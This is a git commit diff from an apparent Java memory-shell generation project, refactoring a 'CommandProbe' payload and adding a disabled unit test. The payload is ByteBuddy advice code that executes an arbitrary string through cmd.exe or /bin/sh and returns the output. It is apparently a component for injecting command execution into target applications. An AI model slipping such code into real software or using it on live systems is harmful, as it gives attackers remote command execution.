mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-25 00:11:52 +08:00
refactor: simplify CommandProbe
This commit is contained in:
@@ -41,6 +41,7 @@ dependencies {
|
|||||||
implementation(libs.bcel)
|
implementation(libs.bcel)
|
||||||
implementation(libs.jackson.databind)
|
implementation(libs.jackson.databind)
|
||||||
testImplementation(libs.junit.jupiter)
|
testImplementation(libs.junit.jupiter)
|
||||||
|
testImplementation(libs.hamcrest)
|
||||||
testRuntimeOnly(libs.junit.platform.launcher)
|
testRuntimeOnly(libs.junit.platform.launcher)
|
||||||
testImplementation(libs.bundles.mockito)
|
testImplementation(libs.bundles.mockito)
|
||||||
}
|
}
|
||||||
@@ -3,7 +3,6 @@ package com.reajason.javaweb.probe.payload;
|
|||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import net.bytebuddy.asm.Advice;
|
import net.bytebuddy.asm.Advice;
|
||||||
|
|
||||||
import java.util.NoSuchElementException;
|
|
||||||
import java.util.Scanner;
|
import java.util.Scanner;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -20,12 +19,8 @@ public class CommandProbe {
|
|||||||
@Advice.OnMethodExit
|
@Advice.OnMethodExit
|
||||||
public static String exit(@Advice.Argument(0) String data, @Advice.Return(readOnly = false) String ret) throws Exception {
|
public static String exit(@Advice.Argument(0) String data, @Advice.Return(readOnly = false) String ret) throws Exception {
|
||||||
String[] cmd = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", data} : new String[]{"/bin/sh", "-c", data};
|
String[] cmd = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", data} : new String[]{"/bin/sh", "-c", data};
|
||||||
Process process = new ProcessBuilder(cmd).start();
|
Process process = new ProcessBuilder(cmd).redirectErrorStream(true).start();
|
||||||
try {
|
return ret = new Scanner(process.getInputStream()).useDelimiter("\\A").next();
|
||||||
return ret = new Scanner(process.getInputStream()).useDelimiter("\\A").next();
|
|
||||||
} catch (NoSuchElementException e) {
|
|
||||||
return ret = new Scanner(process.getErrorStream()).useDelimiter("\\A").next();
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
|
|||||||
@@ -0,0 +1,24 @@
|
|||||||
|
package com.reajason.javaweb.probe.payload;
|
||||||
|
|
||||||
|
import org.junit.jupiter.api.Disabled;
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
|
|
||||||
|
import static org.hamcrest.CoreMatchers.anyOf;
|
||||||
|
import static org.hamcrest.CoreMatchers.containsString;
|
||||||
|
import static org.hamcrest.MatcherAssert.assertThat;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/8/26
|
||||||
|
*/
|
||||||
|
class CommandProbeTest {
|
||||||
|
|
||||||
|
@Test
|
||||||
|
@Disabled
|
||||||
|
void test() {
|
||||||
|
String result = new CommandProbe("hello").toString();
|
||||||
|
assertThat(result, anyOf(
|
||||||
|
containsString("not found")
|
||||||
|
));
|
||||||
|
}
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user